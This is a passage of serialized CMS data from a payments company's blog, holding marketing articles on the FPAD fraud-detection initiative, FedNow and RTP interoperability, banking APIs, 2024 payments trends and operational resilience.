and better fraud-fighting tools. FPAD, he believes, represents a systemic approach where banks across Europe are joining forces to elevate fraud-fighting capabilities within the SEPA perimeter. ",[],{"type":25,"text":16475,"spans":16476,"direction":445},"Similarly, Enrico Canna, Head of Anti-fraud & Customer Protection Center at Intesa Sanpaolo, emphasised the importance of a shared international solution like FPAD. He believes that real-time information sharing and data correlation will significantly enhance customer protection. ",[],"rich_text$bca0a63c-4a0a-4ecf-974a-b2606ef727c9",{"variation":437,"version":438,"items":16479,"primary":16480,"id":16497,"slice_type":468,"slice_label":5},[],{"body":16481},[16482,16485,16488,16491,16494],{"type":988,"text":16483,"spans":16484,"direction":445},"FPAD and APIs: A Match Made in Banking Heaven",[],{"type":25,"text":16486,"spans":16487,"direction":445},"The FPAD initiative, powered by APIs, represents a significant leap forward for European banks. It's not just about detecting fraud; it's about creating a more integrated, efficient, and secure banking ecosystem. As instant payments become the norm, the need for real-time fraud detection tools like FPAD becomes even more critical. ",[],{"type":25,"text":16489,"spans":16490,"direction":445},"However, it's essential to note that while the FPAD initiative is a promising step forward, its successful implementation hinges on how banks connect to it. Many financial institutions, especially those without an API-first technology stack, face challenges due to their legacy payment architectures. These older systems can be cumbersome, less flexible, and often not designed for the rapid integration that APIs offer. ",[],{"type":25,"text":16492,"spans":16493,"direction":445},"For these banks, transitioning to an API-driven approach isn't just about staying competitive; it's a necessity for seamless integration with advanced systems like FPAD. The move to modernise and adopt API-first strategies will ensure they can fully leverage the benefits of FPAD and other similar initiatives in the future. ",[],{"type":25,"text":16495,"spans":16496,"direction":445},"As Erwin Kulk from EBA CLEARING mentioned, the active engagement from analytical pilot banks is training the fraud pattern and anomaly detection models. These models, powered by APIs, will be used for each settled transaction to detect matching fraud patterns and anomalies. ",[],"rich_text$4422f593-d800-4f83-8458-23f19da7adb3",{"variation":437,"version":438,"items":16499,"primary":16500,"id":16508,"slice_type":468,"slice_label":5},[],{"body":16501},[16502,16505],{"type":25,"text":16503,"spans":16504},"The introduction of FPAD is a testament to the collaborative spirit of European banks. It's a clear indication that the banking sector is taking proactive steps to combat fraud, ensuring the safety and security of customers. With FPAD, European banks are not just enhancing their fraud detection capabilities but also setting a benchmark for the global banking community. ",[],{"type":25,"text":16506,"spans":16507},"As the landscape of banking and finance continues to evolve, initiatives like FPAD will play a pivotal role in shaping the future. For banks, service providers, and customers alike, it's a step towards a safer, more secure financial ecosystem. ",[],"rich_text$6c5f462b-b340-4b16-b256-52c161cf0430",{"id":16510,"uid":16511,"type":3743,"data":16512},"alzysREAAC0AUWGy","real-time-payments-need-orchestration-layer-to-solve-interoperability-gap",{"title":16513,"excerpt":16514,"card_image":16515,"published_date":16521,"reading_time":418,"tag":5813,"dek":5,"featured_image":16522,"about_form3":16528,"client_about_heading":5,"client_about_body":16529,"author_name":5,"author_title":5,"author_photo":16530,"author_bio":16531,"author_linkedin":16532,"slices":16533,"meta_title":16513,"meta_description":16632},"Real-Time Payments Need Orchestration Layer to Solve Interoperability Gap","The financial landscape is rapidly evolving in an era of faster payments, presenting a blend of opportunities and setbacks. One of the major hurdles that US banks are facing today following the FedNow® Service launch stems from the lack of full interoperability between the Federal Reserve’s real-time payment system and the RTP network overseen by The Clearing House. This has created “a substantial headache and genuine operational and technical challenge for a lot of US banks,” Form3 Chief Product Officer Eimear O’Connor told PYMNTS in an interview, pointing to the separate technical builds and distinct operational processes caused by differences in specifications and rules governing the two instant payments systems.",{"dimensions":16516,"alt":16517,"copyright":5,"url":16518,"id":16519,"edit":16520},{"width":412,"height":412}," FedNow","\u002F_prismic-media\u002F752093c9447b98b6-llvgCCBgqcHdbw5m_real-time-payments-need-orchest.png","llvgCCBgqcHdbw5m",{"x":398,"y":398,"zoom":399,"background":400},"2024-03-13",{"dimensions":16523,"alt":16524,"copyright":5,"url":16525,"id":16526,"edit":16527},{"width":501,"height":646},"Real-time Payments ","\u002F_prismic-media\u002F3392037cf0227479-SkX08QuoALq0STLN_ef351dce-eb4f-41f5-8956-4a2c127.png","SkX08QuoALq0STLN",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[16534,16548,16559,16579,16599,16622],{"variation":437,"version":438,"items":16535,"primary":16536,"id":16547,"slice_type":468,"slice_label":5},[],{"body":16537},[16538,16541,16544],{"type":25,"text":16539,"spans":16540,"direction":445},"The financial landscape is rapidly evolving in an era of faster payments, presenting a blend of opportunities and setbacks.",[],{"type":25,"text":16542,"spans":16543,"direction":445},"One of the major hurdles that US banks are facing today following the FedNow® Service launch stems from the lack of full interoperability between the Federal Reserve’s real-time payment system and the RTP network overseen by The Clearing House. ",[],{"type":25,"text":16545,"spans":16546,"direction":445},"This has created “a substantial headache and genuine operational and technical challenge for a lot of US banks,” Form3 Chief Product Officer Eimear O’Connor told PYMNTS in an interview, pointing to the separate technical builds and distinct operational processes caused by differences in specifications and rules governing the two instant payments systems.",[],"rich_text$de490af2-bd35-4c6d-abc1-659c4c1a65af",{"variation":437,"version":438,"items":16549,"primary":16550,"id":16558,"slice_type":468,"slice_label":5},[],{"body":16551},[16552],{"type":25,"text":16553,"spans":16554},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F922522383",[16555],{"start":1130,"end":14740,"type":489,"data":16556},{"link_type":491,"url":16557},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F922522383","rich_text$0cc40335-25bd-4649-9367-7c19ab21b57b",{"variation":437,"version":438,"items":16560,"primary":16561,"id":16578,"slice_type":468,"slice_label":5},[],{"body":16562},[16563,16566,16569,16572,16575],{"type":25,"text":16564,"spans":16565},"As a result, managing real-time transaction processing and reconciliation poses a significant challenge for many banks’ back offices which aren’t inherently geared for instant environments, further complicating the operational landscape.",[],{"type":25,"text":16567,"spans":16568},"As O’Connor explained, many financial institutions (FIs) are still transitioning from batch and overnight processes — operations that were not time-sensitive and often invisible. Thus, “to suddenly [have them] front and center, with the expectation that processes happen immediately and [more] importantly that funds are applied immediately, is a significant hurdle that many banks still need to overcome.”",[],{"type":25,"text":16570,"spans":16571},"To tackle these challenges, she said, the adoption of unified platforms that streamline operational processes across both instant payment schemes would be a “game-changer” for banks, fostering much-needed cohesion that would otherwise be difficult to achieve.",[],{"type":25,"text":16573,"spans":16574},"This need for cohesion is also the reason why payment providers like Form3 are developing products that facilitate scheme-agnostic builds, ensuring seamless routing of payments to the preferred scheme based on the beneficiary’s location.",[],{"type":25,"text":16576,"spans":16577},"“The objective here is to minimize the operational and technical impacts on banks and ensure that when [it comes to] instant connectivity, [banks] avoid dual projects, dual bills and ultimately dual processes within their back-end systems,” she said.",[],"rich_text$640255f5-eb28-468b-bb77-3923473d5224",{"variation":437,"version":438,"items":16580,"primary":16581,"id":16598,"slice_type":468,"slice_label":5},[],{"body":16582},[16583,16586,16589,16592,16595],{"type":988,"text":16584,"spans":16585,"direction":445},"Microservices and Payments-as-a-Service Models",[],{"type":25,"text":16587,"spans":16588,"direction":445},"Despite the challenges, there’s a bright side for forward-thinking banks and financial institutions (FIs): once operational processes are streamlined, they have an opportunity to transform their service offerings, paving the way for enhanced customer experiences and innovative solutions, O’Connor said.",[],{"type":25,"text":16590,"spans":16591,"direction":445},"This involves a shift to a microservices-based architecture and payments-as-a-service models, both of which “offer and are designed with flexibility in the future in mind.”",[],{"type":25,"text":16593,"spans":16594,"direction":445},"On one hand, microservices leverage cloud development tools to enhance configurability, security and scalability, empowering FIs to tailor specific products for their end customers. Payments-as-a-service, on the other hand, allows banks to delegate round-the-clock technology management, while ensuring platforms evolve to meet future needs and scheme requirements.",[],{"type":25,"text":16596,"spans":16597,"direction":445},"And together, the combination of microservices and payments-as-a-service offerings enables banks to seamlessly integrate additional services into their payment flows, O’Connor said, facilitating product customization and data-driven insights for both internal and external use.",[],"rich_text$9a2fa4ed-4483-469d-8de9-17307d31fb80",{"variation":437,"version":438,"items":16600,"primary":16601,"id":16621,"slice_type":468,"slice_label":5},[],{"body":16602},[16603,16606,16609,16612,16615,16618],{"type":988,"text":16604,"spans":16605,"direction":445},"Futureproofing as a Strategy and Mindset",[],{"type":25,"text":16607,"spans":16608,"direction":445},"Today, FIs find themselves at a pivotal moment, grappling with significant choices concerning their technology infrastructure. As O’Connor explained, these decisions will involve weighing the benefits of in-house development against outsourcing to external technology providers, both of which underscore the need for “futureproofing” strategies.",[],{"type":25,"text":16610,"spans":16611,"direction":445},"For those choosing in-house development, understanding the importance of not only initial investments but also ongoing ones as real-time payment systems evolve and adapt to market changes will be crucial.",[],{"type":25,"text":16613,"spans":16614,"direction":445},"“It’s not a once and done [process],” she said, “and with the differences that we are already seeing in terms of the instant payment schemes, I think that is becoming very clear.”",[],{"type":25,"text":16616,"spans":16617,"direction":445},"Finally, O’Connor emphasized the need for a forward-thinking mindset, urging banks to leverage instant payments infrastructure for future product innovation.",[],{"type":25,"text":16619,"spans":16620,"direction":445},"This involves identifying customer pain points and exploring opportunities to develop competitive and compelling payment products, “whether it’s targeting the card space or higher-value payment use cases where instant payments [systems] can play a significant role in reducing the cost associated with delivering those payments in an instant manner,” she said.",[],"rich_text$358c6c2f-185e-4d7c-8c24-fc0ac21fca92",{"variation":437,"version":438,"items":16623,"primary":16624,"id":16631,"slice_type":468,"slice_label":5},[],{"body":16625},[16626],{"type":25,"text":14790,"spans":16627},[16628],{"start":9799,"end":1131,"type":489,"data":16629},{"link_type":491,"url":16630,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Ffaster-payments\u002F2024\u002Freal-time-payments-need-orchestration-layer-to-solve-interoperability-gap\u002F","rich_text$8e8feef3-e032-42bc-9f17-1b93af3a99a1","The financial landscape is rapidly evolving in an era of faster payments, presenting a blend of opportunities and setbacks. One of the major hurdles that U.S. banks are facing today following the FedNow® Service launch stems from the lack of full interoperability between the Federal Reserve’s real-time payment system and the RTP network overseen by The Clearing House. This has created “a substantial headache and genuine operational and technical challenge for a lot of U.S. banks,” Form3 Chief Product Officer Eimear O’Connor told PYMNTS in an interview, pointing to the separate technical builds and distinct operational processes caused by differences in specifications and rules governing the two instant payments systems.",{"id":16634,"uid":16635,"type":3743,"data":16636},"alzzJhEAACkAUWLA","apis-powering-payments-igniting-growth-and-pioneering-the-future-of-banking",{"title":16637,"excerpt":16638,"card_image":16639,"published_date":2011,"reading_time":418,"tag":5813,"dek":16645,"featured_image":16646,"about_form3":16651,"client_about_heading":5,"client_about_body":16652,"author_name":11772,"author_title":16653,"author_photo":16654,"author_bio":16657,"author_linkedin":16662,"slices":16664,"meta_title":16637,"meta_description":16638},"APIs: Powering payments, igniting growth and pioneering the future of banking","In the ever-evolving landscape of banking and payments, API technology has become a transformative force. Standing for Application Programming Interface, in simple terms an API is a method for two software platforms to communicate to each other. You’ll see plenty of real-world examples of APIs in action when using your smartphone; if you’ve ever logged in to a third-party app using your Google or Facebook ID, for instance.",{"dimensions":16640,"alt":16641,"copyright":5,"url":16642,"id":16643,"edit":16644},{"width":412,"height":412},"APIs","\u002F_prismic-media\u002Faca42c76da97ad71-v7vEoz7F8K-vE_OD_apis-powering-payments-igniting.png","v7vEoz7F8K-vE_OD",{"x":398,"y":398,"zoom":399,"background":400},"In the ever-evolving landscape of banking and payments, API technology has become a transformative force. Standing for Application Programming Interface, in simple terms an API is a method for two software platforms to communicate to each other. You’ll see plenty of real-world examples of APIs in action when using your smartphone; if you’ve ever logged in to a third-party app using your Google or Facebook ID, for instance. While APIs have played a starring role in linking up the mishmash of digital services we access on a regular basis, they’re also changing the way that financial institutions such as banks and payment processors communicate – in a way that is much less visible to the end user. If you want to find out more about how APIs can streamline payments, catalyze business growth, drive digital transformation and facilitate open banking then read on, and watch Form3's webinar on demand.",{"dimensions":16647,"alt":16641,"copyright":5,"url":16648,"id":16649,"edit":16650},{"width":501,"height":646},"\u002F_prismic-media\u002F838d8677d06ac100-zuxos9c34-m0-GWE_ef351dce-eb4f-41f5-8956-4a2c127.png","zuxos9c34-m0-GWE",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Head of Product, North America",{"dimensions":16655,"alt":11778,"copyright":5,"url":11779,"id":11780,"edit":16656},{"width":11776,"height":11777},{"x":398,"y":398,"zoom":399,"background":400},[16658,16660],{"type":25,"text":11784,"spans":16659,"direction":445},[],{"type":25,"text":11787,"spans":16661,"direction":445},[],{"link_type":491,"key":16663,"url":11791,"target":493},"113d1a58-8803-4cc0-93b1-9fac2aac7d25",[16665,16682,16703,16717],{"variation":437,"version":438,"items":16666,"primary":16667,"id":16681,"slice_type":468,"slice_label":5},[],{"body":16668},[16669,16672,16678],{"type":988,"text":16670,"spans":16671,"direction":445},"Moving beyond traditional methods to a 24\u002F7 world",[],{"type":25,"text":16673,"spans":16674,"direction":445},"If you’re familiar with IBM’s MQ technology – middleware that enables applications to communicate by exchanging messages that are literally queued up – then you’ll understand the concept of two applications talking to each other. APIs perform this function, but in a much simpler way, facilitating the exchange of data very quickly and easily. Another advantage APIs have over traditional methods is that they are much easier to maintain and update, meaning that there is very little downtime. ",[16675],{"start":9799,"end":5136,"type":489,"data":16676},{"link_type":491,"url":16677,"target":493},"https:\u002F\u002Fwww.ibm.com\u002Fproducts\u002Fmq",{"type":25,"text":16679,"spans":16680,"direction":445},"Payment systems built using legacy middleware and old-fashioned databases are slow, processing messages in a linear fashion, creating bottlenecks in processing. Those built using APIs are multi-threaded and therefore much faster as they can process numerous messages at once. In terms of streamlining real-time payments, APIs can enable financial institutions and payment processors to handle large volumes 24 hours a day, seven days a week, in a way that just wasn’t possible with traditional methods. ",[],"rich_text$618db434-78ef-4240-95d4-0349e1b63a0f",{"variation":437,"version":438,"items":16683,"primary":16684,"id":16702,"slice_type":468,"slice_label":5},[],{"body":16685},[16686,16689,16699],{"type":988,"text":16687,"spans":16688,"direction":445},"APIs as the cornerstone of open banking",[],{"type":25,"text":16690,"spans":16691,"direction":445},"Personal finance tool Mint is an example of how APIs can make financial services much more functional for end users. Mint users can connect their checking accounts, savings accounts, mortgages and the like to Mint and see all of their personal finance activities in one place, and it does this through APIs. It pulls the information from users’ accounts at various banks and other financial institutions by making a request via an API with whichever service provider it needs to pull the data from, and the request is instantly fulfilled.",[16692,16695],{"start":7635,"end":5574,"type":489,"data":16693},{"link_type":491,"url":16694,"target":493},"https:\u002F\u002Fmint.intuit.com\u002F",{"start":15693,"end":16696,"type":489,"data":16697},434,{"link_type":491,"url":16698,"target":493},"https:\u002F\u002Fwww.bbva.com\u002Fen\u002Fnot-the-same-open-banking-open-apis-and-banking-as-a-service\u002F#:~:text=For%20instance%2C%20personal%20finance%20company%20Mint%20relies%20on%20access%20to%20bank%20data%20which%20they%20obtain%20through%20open%20APIs%20to%20create%20new%20and%20valuable%20ways%20for%20consumers%20to%20visualize%20and%20understand%20their%20financial%20information.%20Mint%E2%80%99s%20service%20wouldn%E2%80%99t%20be%20possible%20without%20both%20open%20banking%20and%20Open%20APIs.",{"type":25,"text":16700,"spans":16701,"direction":445},"The whole concept of open banking is based on APIs. Open banking is the principle of customers being able to consent to share their banking information with third parties to enable all kinds of innovative, user-friendly services. While open banking has been effectively realized in the UK and across much of Europe, it’s still a way behind in the US at the moment. Mint has managed to build a successful financial management tool, but it’s had to do so the hard way, by building an API for each bank and institution it links to. ",[],"rich_text$6c0d8c49-8c72-4d5a-ad00-1b583a72f407",{"variation":437,"version":438,"items":16704,"primary":16705,"id":16716,"slice_type":468,"slice_label":5},[],{"body":16706},[16707,16710,16713],{"type":988,"text":16708,"spans":16709,"direction":445},"How API standardization can simplify banking",[],{"type":25,"text":16711,"spans":16712,"direction":445},"Every bank has its own API, built to its own set of standards. Another financial services provider can connect their own API to the first bank’s API, though to do so they’ll need to develop some kind of integration layer so the APIs can effectively communicate. And they’ll need to repeat this for every other bank or service they want to link to, because there is currently no industry-wide standardization.",[],{"type":25,"text":16714,"spans":16715,"direction":445},"Therefore, banks that want to connect their API to instant payments services like RTP and FedNow would need to build two separate integration layers. However, at Form3, we want to make it simple for our clients to connect their banks to payment services, which is why we have created a single payments API through which clients can link to the Fed and The Clearing House all in one place. One simple integration opening up multiple payment services. Even beyond that, Form3 is using our APIs to connect banks globally – using the same set of API’s for access to rails across the globe like FPS in the UK, Sepa instant in EU and more. ",[],"rich_text$6c8a4ff9-8f6d-47d8-a6aa-b1969f2f1fa2",{"variation":437,"version":438,"items":16718,"primary":16719,"id":16735,"slice_type":468,"slice_label":5},[],{"body":16720},[16721,16724,16727,16731],{"type":988,"text":16722,"spans":16723,"direction":445},"Choose technology partners to fit your API strategy",[],{"type":25,"text":16725,"spans":16726,"direction":445},"It’s this kind of standardization that banks should be looking for when implementing their own API strategy. The fewer integrations your tech team has to do behind the scenes, the more time they’ll have to work on other features and functions that customers will actually see.    ",[],{"type":25,"text":16728,"spans":16729,"direction":445},"When choosing a technology partner, banks need to look for an organization that has agnostic APIs capable of connecting to multiple services not just right now, but in the future as well. While there is no industry standard per se, Form3 is leading the market in taking a standardized approach to connecting financial services together. And if you need further proof, check out our API documentation. ",[16730],{"start":7594,"end":10496,"type":765},{"type":25,"text":16732,"spans":16733,"direction":445},"Watch our webinar on demand for a comprehensive discussion with Silicon Valley Bank, GFT and Publicis Sapient at how API technology is shaping a more seamless, integrated and customer-focused future in the financial industry.",[16734],{"start":629,"end":12974,"type":593},"rich_text$a50546d6-47ee-4bce-be40-49540f6bd222",{"id":16737,"uid":16738,"type":3743,"data":16739},"alzyzhEAAC4AUWH2","form3-payments-trends-banks-need-to-be-aware-of-in-2024",{"title":16740,"excerpt":16741,"card_image":16742,"published_date":16747,"reading_time":418,"tag":5813,"dek":16741,"featured_image":16748,"about_form3":16753,"client_about_heading":5,"client_about_body":16754,"author_name":5,"author_title":5,"author_photo":16755,"author_bio":16756,"author_linkedin":16757,"slices":16758,"meta_title":16740,"meta_description":16741},"Form3: Payments trends banks need to be aware of in 2024","The past year has seen a range of innovations brought to the forefront of payments technology, but the financial sectors have also had challenges to contend with. Looking ahead to 2024, Matt Tuck, Chief Commercial Officer, Form3, outlines what he believes will shape the banking sector’s approach over the next 12 months.",{"dimensions":16743,"alt":14690,"copyright":5,"url":16744,"id":16745,"edit":16746},{"width":412,"height":412},"\u002F_prismic-media\u002F59d5989544823a25-tDoRpKxnmi-nj4Al_form3-payments-trends-banks-nee.png","tDoRpKxnmi-nj4Al",{"x":398,"y":398,"zoom":399,"background":400},"2024-01-08",{"dimensions":16749,"alt":5,"copyright":5,"url":16750,"id":16751,"edit":16752},{"width":2532,"height":2533},"\u002F_prismic-media\u002F00b0dfc68a2f01b3-spqSvyJHjzK7-L8Z_78a5e4fb-a525-47e7-9861-4c49d7d.png","spqSvyJHjzK7-L8Z",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[16759,16770,16790,16807,16827],{"variation":437,"version":438,"items":16760,"primary":16761,"id":16769,"slice_type":468,"slice_label":5},[],{"body":16762},[16763,16766],{"type":25,"text":16764,"spans":16765},"In the payments industry today, customers’ expectations and needs are ever changing and banks must ensure they continue to innovate and deliver to ensure they are able to retain and grow their customer numbers and revenues. Looking forward, with uncertain economic conditions forecast for 2024, things aren’t likely to get much easier as they seek to strike a balance between continuing with their technology transformation journeys while keeping their budgets under control. ",[],{"type":25,"text":16767,"spans":16768},"With customers expecting continual improvements in the services they use and the product sets they have access to, standing still isn’t an option. In addition, the ever-shifting regulatory sands have to be monitored and banks must also stay on the front foot in their fight in areas like fraud. Here are some of the key trends that will be high on banks’ agendas throughout 2024. ",[],"rich_text$c9307e47-a6e9-430f-8ae8-dfa761a6c5d5",{"variation":437,"version":438,"items":16771,"primary":16772,"id":16789,"slice_type":468,"slice_label":5},[],{"body":16773},[16774,16777,16780,16783,16786],{"type":988,"text":16775,"spans":16776,"direction":445},"Addressing technology transformation",[],{"type":25,"text":16778,"spans":16779,"direction":445},"One key issue for banks in 2024 is how they can update and replace their existing technology stack while keeping their services running, minimising disruption for customers. Banks also need to make tough decisions about whether they handle their transformation programmes in house, or whether they lean on specialist partners to manage these upgrades with them. ",[],{"type":25,"text":16781,"spans":16782,"direction":445},"Cloud based platform solutions are becoming much more prevalent in the banking world and collaborations between banks and technology companies are easier to facilitate, with solutions able to be designed and deployed in a matter of months rather than years.",[],{"type":25,"text":16784,"spans":16785,"direction":445},"As well as flexibility, cloud services also offer increased scalability and resilience to banks. Resilience is something that regulators are paying close attention to both in the UK and Europe, as well as in the US. Banks have to be 24\u002F7 and any impacts to critical financial services, especially payments, are simply not acceptable, with any disruption creating significant losses for customers and the economy.",[],{"type":25,"text":16787,"spans":16788,"direction":445},"As we move forward into 2024, banks and financial institutions must harness the flexibility and resilience of the cloud. Modular, microservices-based infrastructure is easier to build, maintain and fix; for banks to effectively adapt to the 24\u002F7, always-on real-time payment future they need to build in the cloud. Utilising partnerships with third-party experts can give them a competitive edge here in terms of deployment speed and functionality. ",[],"rich_text$e8ef413c-ac47-40d8-9270-8f4772752d7b",{"variation":437,"version":438,"items":16791,"primary":16792,"id":16806,"slice_type":468,"slice_label":5},[],{"body":16793},[16794,16797,16800,16803],{"type":988,"text":16795,"spans":16796,"direction":445},"Managing risk in 2024",[],{"type":25,"text":16798,"spans":16799,"direction":445},"While, in the past, the Chief Risk Officer (CRO) in banks and financial institutions would have been spending much of their time considering the risk around issues like credit and investments, they are now increasingly also having to look at resiliency and contingency. ",[],{"type":25,"text":16801,"spans":16802,"direction":445},"Banks are being targeted by online criminals at an unprecedented rate. Cybercriminals are not only trying to steal money, but also trying to impact banks’ systems. With the upcoming changes to APP fraud regulations – leading to both sending and receiving banks being responsible for compensating victims – it’s crucial for the CRO to have as many protections in place as possible. With any disruption to banking services likely to be headline news, CRO’s will be focused on ensuring that resilience is at the forefront of their priorities.",[],{"type":25,"text":16804,"spans":16805,"direction":445},"Banks must have contingency plans that demonstrate to regulators that they will always be able to send and receive payments on behalf of their customers. To this end, they must implement systems that guarantee this resilience. While cloud-based platforms are typically better for this than proprietary, legacy on-premise hardware, banks that are serious about resilience should be thinking about multiple clouds, rather than just one. ",[],"rich_text$25ae00c5-9cb9-4c15-b366-faf95e7760be",{"variation":437,"version":438,"items":16808,"primary":16809,"id":16826,"slice_type":468,"slice_label":5},[],{"body":16810},[16811,16814,16817,16820,16823],{"type":988,"text":16812,"spans":16813,"direction":445},"Innovations in payments over the year ahead",[],{"type":25,"text":16815,"spans":16816,"direction":445},"Continual innovation is necessary for banks that want to retain and grow their customer numbers and revenues. Payments is the battleground to win and retain customer value and customer loyalty. If the payments aspect of the customer relationship isn’t competitive, a bank could lose the customer value altogether. ",[],{"type":25,"text":16818,"spans":16819,"direction":445},"Customers expect and deserve real-time access at their fingertips. This requires significant upgrades not only to the bank’s in-house capability, but also with the actual payment chain between themselves and other different individual banks and payment schemes. That end-to-end value chain for customers has become top of mind; a lot of banks are thinking about payment transformation, with seamless, real-time payments not just within countries but also across borders. ",[],{"type":25,"text":16821,"spans":16822,"direction":445},"There are, of course, some global players in the payment space that don’t come from a traditional banking background. Technology companies big and small are able to innovate and move faster than most financial institutions because agility is part of their DNA. While these organisations pose a threat to traditional banks, they have helped banks to realise the benefits of operating more efficiently, and with new technologies. This trend will need to continue if banks are going to remain competitive.",[],{"type":25,"text":16824,"spans":16825,"direction":445},"From a geographical perspective, we’re seeing different rates of innovation in the real-time payment space, but, ultimately, the trend will only increase, therefore banks need to be transforming now to maximise the opportunity and meet their customers’ demands. ",[],"rich_text$a1635c9c-1212-4e07-b760-be4881e47829",{"variation":437,"version":438,"items":16828,"primary":16829,"id":16837,"slice_type":468,"slice_label":5},[],{"body":16830},[16831,16834],{"type":988,"text":16832,"spans":16833,"direction":445},"Takeaway",[],{"type":25,"text":16835,"spans":16836,"direction":445},"Think cloud-first to build resilience, lower risk and foster innovation. Continued innovation and technology transformation remain core for banks. Always on, digital access across the product range is key for banks, so continued investment in front-end customer offerings will be critical for banks. This will allow them to focus on value-added services, working with partners to deliver the full end-to-end infrastructure.",[],"rich_text$943b7509-0b46-4cfa-855a-196fa35a7ab5",{"id":16839,"uid":16840,"type":3743,"data":16841},"alzykREAACcAUWFl","building-operational-resilience",{"title":16842,"excerpt":16843,"card_image":16844,"published_date":16849,"reading_time":418,"tag":3751,"dek":16850,"featured_image":16851,"about_form3":16856,"client_about_heading":5,"client_about_body":16857,"author_name":5,"author_title":5,"author_photo":16858,"author_bio":16859,"author_linkedin":16860,"slices":16861,"meta_title":16842,"meta_description":16843},"The engineering-driven approach to building operational resilience in financial services","To achieve true operational resilience, financial institutions must adopt an engineering-driven approach. By embedding resilience into cloud infrastructure, leveraging practices like chaos engineering, and fostering a resilience-first culture, firms can meet regulatory demands, ensure service continuity, and strengthen trust in critical payment systems.",{"dimensions":16845,"alt":16842,"copyright":5,"url":16846,"id":16847,"edit":16848},{"width":412,"height":412},"\u002F_prismic-media\u002F469c4c1334c44dd6-08mB7OCAkaPppSHj_building-operational-resilience.svg","08mB7OCAkaPppSHj",{"x":398,"y":398,"zoom":399,"background":650},"2024-11-13","Operational resilience has become a strategic imperative in financial services, driven by growing regulatory requirements and escalating customer expectations for uninterrupted service. To truly meet resilience demands, financial institutions need to look beyond traditional compliance checklists and adopt a proactive, engineering-centric mindset. Moving resilience into the fabric of core processes, technologies, and organizational culture ensures that institutions are well-prepared for digital disruptions. This approach leverages software-driven, API-managed, and flexible cloud infrastructures, setting a strong foundation for sustainable, resilient operations.",{"dimensions":16852,"alt":5,"copyright":5,"url":16853,"id":16854,"edit":16855},{"width":423,"height":424},"\u002F_prismic-media\u002F303732d06d3d5e93-m-loBcU_eh8fL56f_ZzORUa8jQArT0xo3.png","m-loBcU_eh8fL56f",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[16862,16890,16916,16945,16971,16991],{"variation":437,"version":438,"items":16863,"primary":16864,"id":16889,"slice_type":468,"slice_label":5},[],{"body":16865},[16866,16869,16872,16875,16878,16883,16886],{"type":746,"text":16867,"spans":16868},"Redefining operational resilience as an engineering challenge",[],{"type":474,"text":16870,"spans":16871,"direction":445},"Traditional vs. Engineering Approaches ",[],{"type":25,"text":16873,"spans":16874,"direction":445},"Traditionally, operational resilience has focused on business continuity planning and disaster recovery, often regarded as the responsibility of risk management or compliance teams. However, such frameworks can lack agility and miss opportunities to integrate resilience across all technological and operational facets. By contrast, an engineering-driven approach builds resilience proactively, embedding it into system architecture and processes. Engineering resilience means designing systems with redundancy, failover mechanisms, and rigorous testing to withstand disruptions without manual intervention. In this way, resilience shifts from a reactive stance to an intrinsic feature of operations. ",[],{"type":474,"text":16876,"spans":16877,"direction":445},"Why Financial Institutions Need an Engineering Approach ",[],{"type":25,"text":16879,"spans":16880,"direction":445},"For financial institutions, resilience is more than a regulatory checkbox; it’s a fundamental safeguard for maintaining continuity in a high-stakes, digital-first environment. Engineering resilience into the core of technology infrastructure ensures that essential services can continue even during severe disruptions, safeguarding customer trust and protecting the institution’s reputation. In a landscape where even a short service disruption can have lasting financial and reputational impacts, a proactive engineering approach equips institutions to maintain the availability and stability of mission-critical services. This approach is especially vital as financial services integrate more cloud-based and digital services, where outages could cascade into broader disruptions. ",[16881],{"start":10309,"end":10918,"type":489,"data":16882},{"link_type":491,"url":4498,"target":493},{"type":474,"text":16884,"spans":16885,"direction":445},"Engineering Resilience for Continuous Service ",[],{"type":25,"text":16887,"spans":16888,"direction":445},"Designing systems with resilience at their core involves establishing robust redundancy and failover strategies. Engineering resilience means creating an architecture that anticipates disruptions, whether from system overloads, cyber threats, or physical incidents. Introducing “error budgets” to measure the acceptable tolerance for failure enables teams to keep services running smoothly and recover swiftly when issues do arise. By continuously testing and adapting systems, financial institutions build a framework for continuous service that is as dynamic and adaptable as the digital landscape itself. ",[],"rich_text$ac8d652f-9e3a-487c-8462-015776bd9146",{"variation":437,"version":438,"items":16891,"primary":16892,"id":16915,"slice_type":468,"slice_label":5},[],{"body":16893},[16894,16897,16900,16903,16906,16909,16912],{"type":746,"text":16895,"spans":16896},"Key engineering practices that drive resilience",[],{"type":474,"text":16898,"spans":16899,"direction":445},"Building Resilience into System Architecture ",[],{"type":25,"text":16901,"spans":16902,"direction":445},"Financial institutions can achieve resilience by adopting software-defined, API-managed infrastructures that enhance visibility and control across platforms. This structure ensures that all critical functions are transparent and manageable in real time, enabling swift identification and resolution of potential issues. By reducing reliance on physical infrastructure and embedding resilience within digital architecture, institutions position themselves to respond to disruptions with minimal impact on operations and customer experience. ",[],{"type":474,"text":16904,"spans":16905,"direction":445},"Chaos Engineering and SRE as Testing Tools ",[],{"type":25,"text":16907,"spans":16908,"direction":445},"One hallmark of an engineering-driven resilience strategy is rigorous testing through chaos engineering and site reliability engineering (SRE) practices. Chaos engineering, which involves deliberate disruption, enables institutions to test system resilience under various failure scenarios. This proactive approach identifies weak points before they cause operational setbacks. SRE practices, specifically error budgets, provide a metric-driven approach to align resilience with impact tolerances. Regularly testing systems in this way not only improves resilience but also fosters a culture of continuous improvement by addressing and rectifying vulnerabilities promptly. ",[],{"type":474,"text":16910,"spans":16911,"direction":445},"Observability for Real-time Insights ",[],{"type":25,"text":16913,"spans":16914,"direction":445},"True resilience requires more than traditional monitoring; it demands observability that provides deep insights into system health. Observability integrates data on the system’s behaviour, enabling teams to detect and address vulnerabilities before they reach customers. This real-time transparency ensures that resilience measures are constantly adapting to evolving demands and threats, making the system robust even under unpredictable conditions. ",[],"rich_text$d94279ec-50bf-42b8-81b3-b99412e7da79",{"variation":437,"version":438,"items":16917,"primary":16918,"id":16944,"slice_type":468,"slice_label":5},[],{"body":16919},[16920,16923,16926,16929,16932,16935,16938],{"type":746,"text":16921,"spans":16922},"The role of cloud in building a resilient 